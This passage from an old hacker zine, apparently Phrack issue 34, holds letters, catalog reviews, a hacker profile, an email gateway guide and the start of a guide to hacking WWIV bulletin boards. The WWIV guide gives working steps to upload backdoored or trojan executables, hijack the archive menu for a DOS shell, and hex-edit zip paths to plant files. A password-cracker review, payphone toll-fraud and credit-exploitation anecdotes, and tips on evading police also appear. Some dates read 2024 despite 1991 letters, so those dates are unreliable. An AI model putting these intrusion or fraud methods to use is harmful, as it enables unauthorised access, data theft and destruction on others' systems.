==Phrack Inc.== Volume Three, Issue Thirty-four, File #1 of 11 Issue XXXIV Index __________________ P H R A C K 3 4 October 13, 2024 __________________ ~Technology for Survival~ Welcome back to Phrack Inc. From now on, the editorship will consist of Crimson Death and Dispater. We have decided to join both our forces and pool our assets to make Phrack even better. We will have accounts at various Internet sites, however, all file submitions should be mailed to phracksub@stormking.com. If you do not have access to the Internet give Free Speech BBS a call. Crimson Death will take it from there. Special thanks this month goes out to Night Ranger for being great help! Also thanks to Inhuman and Laughing Gas for taking the time to submit material. Phrack has never really had a distrabution BBS, but you can always get it on the Internet at EFF.ORG or CS.WIDENER.COM. Off the Internet, the BBS distribution will be from Free Speech BBS. Below are a list of a few other boards that carry all the Phracks. Free Speech BBS (618) 549-4955 Blitzkreig BBS (502) 499-8933 Digital Underground (812) 941-9427 Pyrotechnic's Pit (407) 254-3655 We would also like to thank the nameless numbers of BBS's out there that carry Phrack Inc. without their names being listed here! In this issue of Phrack Inc. we are starting a "letters to the editor" section called "Phrack Loopback." Any questions, comments, corrections, or problems that you the reader would like to air with Phrack publically will be answered there. Loopback will also contain information such as reviews of other magazines, catalogs, hardware, and softare. With Loopback we hope to make Phrack Inc. more interactive with our readers. This month we had an oportunity to interview one of our "hacker hero's", The Disk Jockey. We are also trying to "liven up" Phrack World News a little by adding some editor's comments about recent news topics. If we get a positive response, we will continue doing this. Hopefully you will respond with your views as well. Your Editors, Crimson Death Dispater cdeath@stormking.com phracksub@stormking.com =============================================================================== COMMENTS INSERTED BY SERVER: As the server of the Phrack Mailing List, I'd like to get a few words in. First, since I am currently a VERY DUMB list server, I am currently not very interactive. I am working with the system administrators and owners to get an interactive "LISTSERV" onto this machine. I would also like to know if anyone can get me access to an IP address via SLIP at an Internet site VERY CLOSE to the Newburgh/Poughkeepsie, NY area. Another thing I could use is a Phrack SubBot for IRC. Something small that would allow you to get information on the release date of the next Phrack, add your name to the Mailing List, find out the Index of the last issue and such. I can handle awk, perl and 'C'. An IRC connection (Not the server software) would also be interesting. Another thing I heard of and am interested in is something that might start a seperate list. There is a game, where you write a program to make a robot to fight another programmed robot. You run these against each other to see who will win. You can then modify the code to try again. It needs to be compatible with an IBM Risc/6000 running AIX 3.1.5 running patch #2006. Help is also needed with SENDMAIL.CF configuration and etc. Basically, if you have something that the SERVER might be interested in, please mail "server@stormking.com". Also, if someone mentions that they are not receiving a copy when they asked to subscribe, anything that DOES bounce back here is automatically deleted. For example, if something comes back from SUSY.THUNDER@POKER.LASVEGAS.NV.CA (Susan Lynn Headley) and I am told that POKER.LASVEGAS.NV.CA is not connected to CYBERPUNK.HAFNER.MARKOFF.NY.NY I will NOT attempt to resolve the message. Storm King List Server =============================================================================== _______________________________________________________________________________ Phrack XXXIV Table of Contents =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 1. Introduction to Phrack 34 by Crimson Death & Dispater 2. Phrack Loopback by The Phrack Staff 3. Phrack Prophile of The Disk Jockey by The Disk Jockey & Dispater 4. The AT&T Mail Gateway by Robert Alien 5. The Complete Guide to Hacking WWIV by Inhuman 6. Hacking Voice Mail Systems by Night Ranger 7. An Introduction to MILNET by Brigadier General Swipe 8. TCP/IP: A Tutorial Part 2 of 2 by The Not 9. Advanced Modem-Oriented BBS Security by Laughing Gas & Dead Cow 10. PWN/Part01 by Dispater 11. PWN/Part02 by Dispater _______________________________________________________________________________ ==Phrack Inc.== Volume Three, Issue Thirty-four, File #2 of 11 ^[-=:< Phrack Loopback >:=-]^ By: The Phrack Staff Phrack Loopback is a forum for you, the reader, to ask questions, air problems, and talk about what ever topic you would like to discuss. This is also the place The Phrack Staff will make suggestions to you by reviewing various items of note; magazines, software, catalogs, hardware, etc. _______________________________________________________________________________ What's on Your Mind ~~~~~~~~~~~~~~~~~~ >Date: Fri, 20 Sep 91 01:22:30 -0400 >To: phracksub@stormking.com > >So what exactly DID happen to Agent Steal? There was a small blurb in >PWN for 33, but gave no details. Why was he arrested, what was confiscated, >and how long will he probably be away for. > >Mind you, this is a tragic loss, since Agent Steal was a gifted hacker and >had a whole lotta balls to boot. > > Sincerely, > > A concerned reader To be honest, it would not in his best interest to say much about his case before his trial. What we have written comes from a very reliable source. Some people close to him are denying everything. This is most likely to keep from happening to him what happened to people like Mind Rape, who have basicall y been "convicted" by the media. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >From: Drahgon >Date: Thu Sep 26 06:00:35 1991 > > Dear Dispater, > > My name is Drahgon unless, of course. I have several things to blow > from my mind here.... > > How is the progress of Phrack 33? I am not really up on all the > hoopla surrounding it, but I am curious. In high school I often > published "underground newsletters" about the manufacture of drugs and > explosives, etc. The computer underground is a new territory for me > and I have just begun. I would love to hear about your mag....I would > perhaps have something to offer. We at Phrack Inc. are here to publish any kind of information you the reader are interested in. We, unlike many other people out there, will not judge you and can call you a "lamer" if you submit something to us that we might think is a little elementary. We might not necessarily run it in Phrack, but we aren't the kind of people that are going to call you up in the middle of the night on an Alliance Teleconference and harass you. In fact, there are many text files out there that are out-dated and need to be corrected! Simply put, if you are interested in it, there are probably two hundred others out that are afraid to ask, because some El1Te person will call them "stupid." Here at Phrack Inc., WE ARE NOT El1Te, WE ARE JUST COOL AS HELL! We want to help everyone in their quest for knowledge. > Secondly, I want to start my own bbs up here in my town. This > town is dead, but there is still a glint of life, it needs to be > kindled. There are currently no BBS's up here that carry information > of an "alternative nature", and there is in fact laws that prevent > them from springing up. (whatever happened to freedom of the press?), > Well, anyway, I would like to know if you would support a BBS of > mine, and maybe you could give me some pointers... > > Thanx ALOT > DRAHGON That's great! We're always glad to see new faces that are truly intereste d in helping people by becoming a source of information. If you have any questions about BBS's you should ask the expert, Crimson Death. He will be more than happy to help you out. _______________________________________________________________________________ Corrections ~~~~~~~~~~ In V.3, I#33, File 9 of 13, there was a error. R5 Should have been a 10K pot and not just a resistor. The corrected part of the schematic should look like this: _ +9__S1/ _____________________________________________________________ | | | | | S3 | R1 R2 | R3 o @ o | |___C1___| _____| |_________|/___ / o \___ | | ____|_____|_____|____ | | |\ | | _| | _| o | 6 4 14 | R4 |__ D1 | | R9< | S2 | o _|5 13|_____| _| | |__ | | | | | | |__ R5< | _| | | g |_|10 IC1 8|_ _| | | R8< | | | 556 | |__R6< g |__ | | | _|9 12|_| _| | | | | | | |__C2__g R7< | | | | |_11___3___7___2___1__| | | | | _______________________________________________________________________________ Hardware Catalog Review ~~~~~~~~~~~~~~~~~~~~~~ by Twisted Pair You can never get enough catalogs. One reason is because you never know what off-the-wall parts you'll be needing. From time to time I'll be reviewing catalogs so you'll be able to learn where to get the really good stuff as far as computer equipment, telco test equipment, and IC chips are concerned. In this issue, we study two of them... - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - SYNTRONICS 2143 Guaranty Drive Nashville, Tennessee 37214 (615) 885-5200 I recently saw an issue of "Nuts and Volts" magazine which had a Syntronics ad in it. I sent the dollar they wanted for a catalog. Apparently, demand for the catalogs was so great that they're having some more printed up. They sent my dollar back with an explanation and a partial photocopy of the catalog. An associate on the left coast and I want to build a tone decoder and have been looking for a particular chip for a long time. We found it in this catalog. It's an SSI-202 Tone Decoder IC for $12. Not bad for a chip I was unable to locate in about 30 catalogs I've searched through. A fellow phreak was told by a zit-faced Radio Shack employee over their 800 number, "They had only 3 left and they would cost $100 each." I don't think so. Syntronics is selling plans for an interesting device you hook up to the phone line. With it you can call it and turn on any one of three 110VAC outlets. To turn them on you use simple DTMF commands. This would be useful for turning on your computer, modem, room bug, security lights, etc from a remote location. Plans for this device cost $9 and you'd need the above-mentioned IC chip to build it with. Syntronics carries: ------------------- Project Plans Software Unusual Hardware Kits IC's Transistors - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Telephone International (The marketplace for PO BOX 3589 communications equipment, Crossville, Tennessee 38557 services, and employment) (615) 484-3685 This is a monthly publication you can receive free. It's usually about 30 pages printed on large yellow-pages paper. To save yourself the $50 a year first-class yearly subscription rate, just tell them you're a telephone technician. Tell them you need to often buy PBX's, Terminal Blocks, etc. They'll send it to you free, because you're special! Here's a sampling of stuff you can find in there: ------------------------------------------------- A Complete Digital Switching System with 3200 lines on a flatbed trailer !!!!!! Repaired Payphones Optical Fiber xmission system Operator's Headsets CO Digital multiplexers AT&T teletypes Used FAX machines AT&T Chevy bucket trucks Hookswitches Digital error message announcers Central Office Coin System Processor Cards Telephone International lists a bunch of telco seminars happening around the country on their "Calendar of Events" page. They also list conferences for security organizations including dates and phone numbers you'd need to register . That's it for this edition of Hardware Hacking. Keep an eye out for good suppliers to the Phreak world. Pass'em along to Phrack. -T_W-I_S-T_E-D_ -P_A-I_R- _______________________________________________________________________________ A Review of the Killer Cracker V.7.0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by The Legion of d0oDez As every hacker worth his/her salt knows, the Unix operating system has major security problems when it comes to it's passwd file. Although this may be good as some people think information should not be hoarded, others think information should be kept to be people who can use it best, the one's with the most money. The passwd file is the Unix file that stores the user information which included username, home directory, and passwords among others. I will not go into the basics of Unix as this is not a Unix how-to hack file. It is a review of Killer Cracker 7.0 (aka KC7.) KC7 is a Unix password hacker that is portable to most machines. It is written by Doctor Dissector and is free software as the terms of the GNU General Public License (By the Free Software Foundation
) states. The version 7.0 is not the latest version but seems to be the best to use. It is dated as 6/1/91 which makes it pretty recent. 8.0 is rumored to be out but we have not had the opportunity to review it yet as we are still testing it. ;-) The best thing about KC7 is that you can run it on most machines that will run C programs which happens to include MS-DOS machines. With this in mind, you can now let your PC do the work of hacking passwords in the privacy of your own home without having to use a mainframe which might be a bit risky. The distribution copy of KC7 comes with the following files: KC.EXE -- MS-DOS executable KC.DOC -- Documents Source.DOC -- The source code to KC KC.C -- The Turbo C source code And other files that pertain to DES and word files. KC7 works by taking an ascii file composed of words and encrypting them so that it can compare the encrypted words with the passwords in the PASSWD file. It is pretty efficient but if running on an MS-DOS system, you will probably want to use a machine that is at least a 286-12 or higher. The time to complete a PASSWD file is directly proportional to how large the file is (max size of PASSWD must be less than 64K on an MS-DOS machine) and what speed of machine you are using. There are options which allow you to take words (aka guesses) from other sources as well as a words file. These sources can be words from the PASSWD file such as the username, single characters, and straight ascii characters such as DEL or ^D. It can also manipulate the guesses in various ways which might be helpful in guessing passwords. Another useful option is the RESTORE function. KC7 has the ability to allow the user to abort a crack session and then resume cracking at a later date. This is very nice since one does not always have the time nor patience to crack a 50k passwd file without wanting to use his/her machine for other uses such as trying out new passwords. We have found that the best way, as suggested by the author, to crack is by using the default method which is to crack by word and not by username. You will understand when you get a hold of the software. You can get KC7 at most H/P oriented bbs's as everyone thinks he/she is a Unix wizard nowadays. Overall, KC7 is an excellent program and we suggest it to all Unix hackers. We also hope you have enjoyed this file and we look forward to bringing more interesting reading to your terminal. Until then.... Happy hacking. _____________________________________________________________________________ ==Phrack Inc.== Volume Three, Issue Thirty-Four, File #3 of 11 -*[ P H R A C K XXXIV P R O P H I L E ]*- -=>[ Presented by Dispater ]<=- The Disk Jockey ~~~~~~~~~~~~~~~ Handle: The Disk Jockey (over 10 years now...) Call him: Doug Reach him: douglas@netcom.com Past handles: None Handle origin: Selected it way back in the Apple days, when it was hip to have a hardware-related name. Date of Birth: 12/29/67 Age at current date: 23 Approximate Location: Silicon Valley Height: 6'1" Weight: 220 lbs. Eye color: Green Hair Color: Blond/brown Education: Cornell, Univ of Michigan, Stanford, and a slew of others schools that I had the opportunity to attend. What started out as a strong belief in law became so jaded that I fell back on Comp Sci. Still wake up in the middle of the night yelling "NO!, NO!" Also have a wallpaper degree in Psychology. Computers: First: Apple //. Presently: several. Mac IIfx, 386/33, and several others that I can't seem to get rid of... ------------------------------------------------------------------------------- The Story of my Hacking Career ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I was lucky enough to be able to get my hands on computers early, back in the days of the PET and the TRS-80. Although we poke fun at a Trash-80 now, at the time I was completely fascinated by it. Remember Newdos/80, LDOS, and utilities like SuperZap? Things started really rolling after a friend introduced me to the Apple. Although I never fell into the stereotype of being a computer "nerd" (don't we all like to think that?), compared to the redundancy of normal schoolwork, learning about the Apple was a new and unexplored world. Unlike most of the other computer "types", I didn't read science fiction, didn't have any social problems, and thought looking at girls was more enjoyable than talking about hardware. Well, depending on the hardware. (ha-ha!) "Cracking" Apple software was of course the next logical step. The 6502 was a wonderful chip, and easy to learn. Copy-cards and other "hacked" hardware was becoming findable and it was getting to the point that the only goal was to get your hands on pre-release software. Before I had entered the "modem" world, friends had a network of other people across the country and traded things by mail. Of course the whole world changed when I picked up a 300 baud modem. Suddenly there was the communication and knowledge that I had been hungry for. People wrote text files on just about everything imaginable. What is the president's phone number? How can I call the pope? How can I make lowercase on my Apple II? What are the routing numbers for boxing to the Eastern Bloc countries? Codes were never much of an interest. The systems that ran them, however, were quite interesting. As technology advanced, SCCs started using sophisticated AI techniques to detect any kind of abnormal usage instantly. Codes used to last several months, now they only lasted a few hours. Boxing, however, was a little more elegant and was the flashy way to call your friends. Even before I had ever heard of boxing or phreaking, I enjoyed the benefits of what we now know as a "red box". While in boarding school, I noticed that a somewhat broken phone emitted obscenely loud "beeps" when you dropped in a quarter. I took a little micro-recorder and recorded myself dropping about $5.00 into the phone. When I played this back into the telephone, the telco thought I was actually dropping change in the machine! I was able to call my girlfriend or whomever and speak for hours. Now most payphones mute those tones so they are barely audible, if at all. Local user groups were a good place to pick up software, legal and otherwise. Remember those damn "CLOAD" magazine tapes for the TRS-80? 80-Micro magazine? The early 80's was the time of the hardware hacker - anything bizarre you wanted you had to make yourself, since it wasn't available otherwise. Now you can call any of a slew of 800 numbers, give them your credit card number (!) and have it on your doorstep the next day. I think part of the problem of the "new generation" of hackers, phreakers, warez kids, etc, is that they never had the experience with low-level stuff and actually having to into the hardware to get what they wanted. Their only programming experience is coming from school, which gives a shallow and usually totally impractical background for the "real world". My eventual disgust with the pirate world came when products such as "Pirate's Friend" came out, allowing people to sector edit out my name and insert theirs. I had spent quite a lot of time trying to find new software, and enjoyed the ego stroke of having my name passed around. I had a lot of respect for book authors that were plagiarized after that... About the industry ~~~~~~~~~~~~~~~~~ The computer industry in general is interesting. Working in it, I hope I'm justified to speak about it. Getting a job is quite easy, since the technology is changing so much, unless it is in something that will be around for some time, you can usually pick up a job by just knowing the latest developments, the buzzwords, and having good "chemistry". In the valley many firms realize that colleges don't really teach you much in the way of practical knowledge. At best, they give you the opportunity to try different types of machines. It amazes me that HR departments in companies across the country won't even look at a resume unless the applicant has a college degree. Advanced degrees are a different matter and are usually quite applicable towards research, but your usual BA/BS variety? Nah. If you want to make a lot of money in this industry, all you need to do is get the reputation as a person who "gets things done" and have superior communication skills. You can write your ticket after that. About legal issues ~~~~~~~~~~~~~~~~~ Anyone who has ever read some of my later text files (1986, 1987) knows that I had no qualms about the legalities of beating an establishment. Although my line of morals was probably beyond where others placed theirs, I could always justify to myself damage or loss to an establishment, "beating the system", rather than hurting the individual. Although I am pretty right-winged in beliefs, I have a great distrust for the policing agencies. Various memories ~~~~~~~~~~~~~~~ Getting a call from my father while at school and being told that Control C had called him and relayed the message "Tell Doug the FBI are after The Disk Jockey. Get rid of everything and hide." To say I "cleaned house" would have been a gross understatement. I knew this was true, I, like many others, had just ridden on the false pretense that they would have better things to do then come after me. I later saw intelligence reports showing that I had been kept track of for some time. I was described as: "Involved in some type of student-loan scam through creating fictitious college applicants at his school. Very violent temper, ruthless attitude. Breaks people's legs for money (TX). Owns a motorcycle and a european sedan. Nasty hacker." Only a handful of people would know that I had a motorcycle, so it was somewhat upsetting that they had this kind of information on me. I later saw some of this same information in Michigan Bell Security's records. They also had the correct phone number for my place at Cornell, my parents number, and even the number of some of my personal non-computer related friends. SummerCon in 1987 was a fun experience. I had the opportunity to meet many of the people that I communicated with regularly, as well as wonder why people thought St. Louis was such a wonderful place. While there were a few socially "on-the-fringe" types, I was amazed that most of the other "hackers" didn't fit the usual stereotypes. They were just regular guys that had a some above average cleverness that allowed them to see the things that others couldn't. By the time I was 20 years old, I had about $40,000 worth of credit on plastic, as well as a $10,000 line of credit for "signature loans" at a local bank. The credit system was something that seemed fun to exploit, and it doesn't take long to figure out how the "system" works. With that kind of cash Aavailable, however, it's tempting to go and buy something outrageous and do things that you wouldn't normally do if you had the cash. This country is really starting to revolve around credit, and it will be very hard to survive if you don't have some form of it. If more people were aware of how the credit systems worked, they might be able to present themselves in a better light to future creditors. I don't think that credit is a difficult thing to understand, I just had an unusual interest in understanding and defeating it. Perhaps this is something that my future text files should be about. Getting busted ~~~~~~~~~~~~~ On June 27, 2024 at 1:47am, I had just parked my car outside my apartment and was walking up to the door when I heard someone say "Doug?" I knew that no friend of mine would be visiting at that hour, so I knew my fate before I turned around. An FBI agent, State police detective and a local detective were walking up to me. "We have a warrant for your arrest." Interestingly, they had actually several warrants, since they weren't sure what my name was. I was being arrested for 6 counts of "conspiracy to commit fraud". After being searched to make sure I wasn't carrying a gun, they asked if they could "go into my apartment and talk about things". Although I had completely "cleaned house" and had nothing to hide in there, I wasn't about to help out an investigation on me. "Ah, I think I had better contact an attorney first." "Is there one you can call right now?" "Are you kidding? It's 2:00am!" I was handcuffed and had my legs strapped together with a belt and was thrown in the back of a car. This was one of those usual government cars that you see in the movies with the blackwalls and usual hubcaps. Interestingly enough, the armrest of the car hid quite an array of radio equipment. Although pretty freaked out, I figured the best thing to do at that point was try to get some sleep and call the best attorney money could by in the morning. Little did I know where I was being brought. I was driven all the way to a small Indiana town (population 5,000) where a 16 year-old Wheatfield Indiana boy had made the statement that he and I "agreed to devise a scam". Although nothing was ever done, merely planning it created the conspiracy charge. I figured that after my arraignment I could post bail and find an attorney. I had almost $10k in the bank and could probably find more if I needed it. I was sadly mistaken. The next day at my arraignment the charges were read and bail was set -- $150,000.00, cash only! In a strange turn of events, the FBI decided to totally drop the case against me. The federal prosecutor figured it wasn't worth wasting his time and they jumped out. However, the Indiana state police were involved in my arrest and were angry that the FBI was dropping the case after they had invested so much time and money in the case, so they decided to pursue the case themselves. There is so much friction between the FBI and state police, that the FBI didn't even answer their letters when they tried to request information and data files on me. Funny. I spent 6 months in a tiny county jail, missing the start and first semester of school. I was interrogated constantly. I never told on a sole and never made a statement about myself. I sat in jail daily, reading books and waiting for my court dates. Although I never expected it, nobody ever thanks you when you keep your mouth shut. I can't imagine that many people would sit in jail for a long time in order to save their friends. Perhaps it's a personal thing, but I always thought that although I doubt someone else would do it for me, I would never, ever tell anything on anyone else. I would never be responsible for someone else's demise. It took a lot of money, and a lot of friday nights of frustration, but I walked away from that incident without ever making a statement. It was at a time when my "roots" were deepest and I probably could have really turned in a lot of other people for my benefit, but it was at a time in my life where I could afford to miss some school and the integrity was more important to me. There were a lot of decisions that had to be made, and spending time in jail is nothing to be proud of, but I never backed down or gave in. It did provide the time for me to really re-evaluate who and what I was, and where I was going. People I've known ~~~~~~~~~~~~~~~~ Compaq Personal friend for some time now. Control C Mostly likely the craziest guy I've ever met. Really nice guy. Knight Lightning Would call me up in the middle of the night and want to discuss philosophical and social issues. Kind of guy I would probably get along with outside of computers as well. Loki Friend since high school. Made a big splash in the h/p world, then disappeared from it. He and I (and Control C) drove to SummerCon together. Shooting Shark Great guy who used to be into calling bridges and would yell "Hey, I'm paying for this!" Truly one of the only people that I ever knew that didn't do anything blatantly illegal. Most of our email was over the optimization of crypt. The Mad Alchemist Sysop of Lunatic Labs, one of the only boards that I feel is worth the telephone call anymore. He has given me a lot of slack and runs a BBS that picks up some of the most obscure information. A sysop that others should be judged by. Tom Brokaw Personal friend since childhood that stood by me through thick and thin, bailing me out of trouble time and time again. I can never thank him enough for being a true friend. BBSs ~~~ More than I could mention here. A few more recent notables -- Atlantis Although run on an Apple, the Lineman had this system so slick and customized that it became the standard that a lot of the PC based boards were created with. It was the first real "clearinghouse" for text files. Free World II Run by Major Havoc and myself, this was an incredibly robust system, and was one of the first to be run on a US Robotics HST. Although it was primarily a discussion board, the file areas offered some of the best files -- virtually no games, but about every real utility and the like. Metal AE 201-879-6668 - this was a true blue AE line that was around for like 5 or 6 years and was ALWAYS busy. Had all of the original cDc and other bizarre text files, occasionally some new Apple warez. Lunatic Labs Still up and still great. Metal Shop Private Perhaps one of the best boards of all time. Run by Taran King and had a healthy, yet secure userlog. It was a closed system, the only way to get on was to know somebody. Everyone on the system knew each other in some sense. World of Cryton One of the first boards to have a "philter" and to really push the messages as far as codes, accounts, card numbers, etc. This was also the demise, along with many of the 414 hackers. Misc ~~~ 2600 Magazine How could I not like a magazine that published articles I wrote? This really is a great magazine and anyone who is interested in computers, privacy, or cyber-issues in general should subscribe. Fame...? Was in the movie "Hoosiers" (thanks for bringing that up, Shark!), even though I'm not a basketball fan. Met Dennis Hopper, etc. Went to school with a lot of famous people's kids. Most have some pretty serious problems. Be glad you are who you are. Marriage...? I'm single and will do everything I can to stay that way. When people ask me about getting married I tell them that the idea of car payments scare me. I enjoy having girlfriends, but I've become too independent. I still run around at bars until sometimes 3:00am or so, but still manage to spend about 50 or 60 hours a week at work. Even if I cut out the bar scene, I wouldn't have much time to spend with someone else on a daily basis. Advice If you ever get into doing illegal things, make sure you do them by yourself. Your chances of getting caught when you do things solo and resist the temptation to "brag" about them is minimal. When someone else knows about what you have done, it doesn't matter how good of a friend they are. If they get into trouble, you are going to the sacrificial lamb when it comes to negotiating their freedom. Even the strongest willed individuals seem to crumble when questioned by police. Groups are bad news. There are very little advantages to being in a group and all it does is increase your personal risk by multitudes. Cracking groups aren't nearly as dangerous, but they DO bring boards down. Look to the fate of groups such as LOD for examples of group fate. Lex Luthor, perhaps one of the most elusive and private hackers of all time was the one to bring down the rest of the group. This was tough for me, as many of the members were people I talked with and could really feel for. Don't get discouraged in life if you feel that you are behind the rest because you don't come from a rich family or have the best equipment. I left home when I was 17 years old, keeping only minimal contact with my parents since then and lived life pretty well, using my abilities to "smooth talk" and pure enthusiasm to walk into about any job. Don't put people down -- everyone has something to teach you, even the bum on the street might be able to tell you how to make some free phone calls! There is a wealth of information to be found via Usenet, text files, or even your school or public library. Stay informed and well read. Email I always enjoy hearing from people. Reach me via the Internet at douglas@netcom.com, or on Lunatic Labs BBS. _______________________________________________________________________________ _  ==Phrack Inc.== Volume Three, Issue Thirty-four, File #4 of 11 _______________________ || || || The AT&T Mail Gateway || || || || December 19, 2024 || || || || by Robert Alien || ||_______________________|| The Internet Gateway ~~~~~~~~~~~~~~~~~~~ The Internet Gateway provides Internet e-mail users with a method of communication to AT&T Mail. The Interconnect consists of various private email networks and uses an addressing format better know as Domain Addressing Service (DAS). A domain address consists of a user name, followed by an @ sign and/or % sign and a domain name, which is usually the system name. Example: jdoe@attmail.com Sending Email to Internet Users ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To send email from the AT&T MailService to the Internet community use the UUCP addressing style. Example: internet!system.domain!username Translates to: internet!gnu.ai.mit.edu!jdoe If you are sending e-mail to an Internet user whose e-mail address may be in the RFC 822 format (user@domain), you must translate the RFC address before sending your message to an Internet recipient. username@system.domain (Internet user's address) internet!system.domain!username (to a UUCP address) Example: username%system2@system.domain (Internet user's address) Translates to: internet!system.domain!system2!username Sending Email From The Internet ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To send email to the AT&T Mail Service, Internet users can choose either the RFC 822 or UUCP addressing style. The Internet recognizes attmail.com as the domain identifier for AT&T Mail when electronic messages are sent through the gateway. Although many Internet users choose to send e-mail using the RFC 822 addressing style, the UUCP style is also available on many UNIX systems on the Internet, but not every system supports UUCP. Below are examples of both addressing styles: RFC 822 Addressing: username@attmail.com Example: jsmith@attmail.com UUCP Addressing: attmail.com!username Example: attmail.com!jdoe Although email can be sent through the Internet gateway, surcharged services, such as Telex, FAX, COD, U.S. Mail, overnight, urgent mail and messages destined to other ADMDs connected to AT&T Mail are not deliverable. If you are an Internet e-mail user attempting to use a surcharged service and are not registered on AT&T Mail, you will not be able to send your message, and will be automatically notified. Below is a list of surcharged services that are unavailable to Internet users. * FAX * Telex * COD * U.S. Mail * Overnight * Administrative Management Domain (ADMD) Messages Sending Email to Bitnet Users ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To send email to BITNET users from AT&T Mail, enter: internet!host.bitnet!user Sending Email to UUNET Users ~~~~~~~~~~~~~~~~~~~~~~~~~~~ To send email to UUNET users from AT&T Mail via the Internet Gateway, enter: attmail!internet!uunet!system!user Internet Restrictions ~~~~~~~~~~~~~~~~~~~~ The following commercial restrictions apply to the use of the Internet Gateway. * Users are prohibited to use the Internet to carry traffic between commercial (for profit) electronic messaging systems. * Advertising and soliciting i.e., messages offering goods or services for sal e or offers of jobs. * Provision of for-profit service, other than electronic messaging to Internet users, is permitted (e.g., database services) if such service is used for scholarly research purposes and its costs are borne by individual or institutional subscription. _______________________________________________________________________________ ==Phrack Inc.== Volume Three, Issue Thirty-four, File #5 of 11 *** *** *** *** *** The Complete Guide *** *** to Hacking WWIV *** *** *** *** by Inhuman *** *** September 1991 *** *** *** *** *** WWIV is one of the most popular BBS programs in the country. With thousands of boards in WWIVnet and hundreds in the spinoff WWIVlink, there is a lot of support and community. The nice thing about WWIV is that it is very easy to set up. This makes it popular among the younger crowd of sysops who can't comprehend the complexities of fossil drivers and batch files. In this file, I will discuss four methods of hacking WWIV to achieve sysop access and steal the user and configuration files. Just remember the number one rule of hacking: Don't destroy, alter, or create files on someone else's computer, unless it's to cover your own trail. Believe me, there is nothing lower than the scum who hack BBSes for the sheer pleasure of formatting someone else's hard drive. But there is nothing wrong (except legally) with hacking a system to look at the sysop's files, get phone numbers, accounts, etc. Good luck. *** *** Technique #1: The Wildcard Upload *** This technique will only work on a board running an unregistered old version of DSZ and a version of WWIV previous to v4.12. It is all based on the fact that if you do a wildcard upload (*.*), whatever file you upload will go into the same directory as DSZ.COM, which is often the main BBS directory. So there are several methods of hacking using this technique. If the sysop is running an unmodified version of WWIV, you can simply compile a modded version of it with a backdoor and overwrite his copy. Your new copy will not be loaded into memory until the BBS either shrinks out (by running an onliner or something), or the sysop terminates the BBS and runs it again. You can also have some fun with two strings that WWIV always recognizes at the NN: prompt: "!@-NETWORK-@!" and "!@-REMOTE-@!". The first is used by WWIVnet to tell the BBS that it is receiving a net call. If the BBS is part of a network and you type "!@-NETWORK-@!", it will then wait for the network password and other data. If the board is not part of a network, it will just act like you typed an invalid user name. The second string is reserved for whatever programs people wanted to write for WWIV, like an off-line reader or whatever. Snarf (the file leeching utility) uses this. If there is not a REMOTE.EXE or REMOTE.COM in the main BBS directory, it will also act as if you entered an invalid user name. So, what you can do is wildcard upload either REMOTE.COM or NETWORK.COM. You want to call them COM files, because if the EXE files already exist, the COM ones will be called first. If the BBS is part of a network, you should go for REMOTE.COM, because if you do NETWORK.COM, it will screw up network communications and the sysop will notice a lot faster. Of course, if you're going straight in for the kill, it doesn't matter. So, what should NETWORK.COM or REMOTE.COM actually be? you ask. Well, you can try renaming COMMAND.COM to one of those two, which would make a DOS shell for you when it was executed. This is tricky, though, because you need to know his DOS version. I suggest a batch file, compiled to a COM file using PC Mag's BAT2EXEC. You can make the batch file have one line: \COMMAND That way you don't have to worry about DOS versions. Remember that this method of hacking WWIV is almost completely obsolete. It is just included for reference, or for some old board run from an empty house where the sysop logs on twice a year or something. *** *** Technique #2: The PKZIP Archive Hack *** Probably the most vulnerable part of WWIV is the archive section. This section allows users to unZIP files to a temporary directory and ZIP the files you want into a temporary ZIP file, then download it. This is useful if you download a file from another board, but one file in it is corrupted. This way you don't have to re-download the whole file. Anyway, on with the show. Make a zip file that contains a file called PKZIP.BAT or COM or EXE. It doesn't matter. This file will be executed, so make it whatever you want, just like in Technique #1. Make it COMMAND.COM, or a batch file, or a HD destroyer, whatever you want. So you upload this file, and then type "E" to extract it. It'll ask you what file to extract and you say the name of the file you just uploaded. It'll then say "Extract What? " and you say "*.*". It'll then unzip everything (your one file) into the TEMP directory. Then go to the archive menu ("G") and pick "A" to add a file to archive. It'll ask what file you want to add, and say anything, it doesn't matter. At this point it will try to execute the command: PKZIP TEMP.ZIP \TEMP\%1 Where %1 is what you just entered. The file pointer is already pointing to the temp directory, so instead of executing PKZIP from the DOS path, it'll execute the file sitting in the current directory, TEMP. So then it runs PKZIP and you get your DOS shell or whatever. If PKZIP does not work, you may want to try uploading another file, and use the same technique, but instead make it an ARC file and call the file in the archive PKPAK. This technique is relatively easy to defeat from the sysop's end, but often they are too lazy, or just haven't heard about it. *** *** Technique #3: The -D Archive Hack *** This technique also plays on the openness of WWIV's archive system. This is another method of getting a file into the root BBS directory, or anywhere on the hard drive, for that matter. First, create a temporary directory on your hard drive. It doesn't matter what it's called. We'll call it TEMP. Then, make a sub-directory of TEMP called AA. It can actually be called any two-character combination, but we'll keep it nice and simple. Then make a subdirectory of AA called WWIV. Place NETWORK.COM or REMOTE.COM or whatever in the directory \TEMP\AA\WWIV. Then from the TEMP directory execute the command: PKZIP -r -P STUFF.ZIP <--- The case of "r" and "P" are important. This will create a zip file of all the contents of the directories, but with all of the directory names recursed and stored. So if you do a PKZIP -V to list the files you should see AA\WWIV\REMOTE.COM, etc. Next, load STUFF.ZIP into a hex editor, like Norton Utilities, and search for "AA". When you find it (it should occur twice), change it to "C:". It is probably a good idea to do this twice, once with the subdirectory called WWIV, and another with it called BBS, since those are the two most common main BBS directory names for WWIV. You may even want to try D: or E: in addition to C:. You could even work backwards, by forgetting the WWIV subdirectory, and just making it AA\REMOTE.COM, and changing the "AA" to "..". This would be foolproof. You could work from there, doing "..\..\DOS\PKZIP.COM" or whatever. Then upload STUFF.ZIP (or whatever you want to call it) to the BBS, and type "E" to extract it to a temporary directory. It'll ask you what file. Type "STUFF.ZIP". It'll ask what you want to extract. Type """-D". It'll then execute: 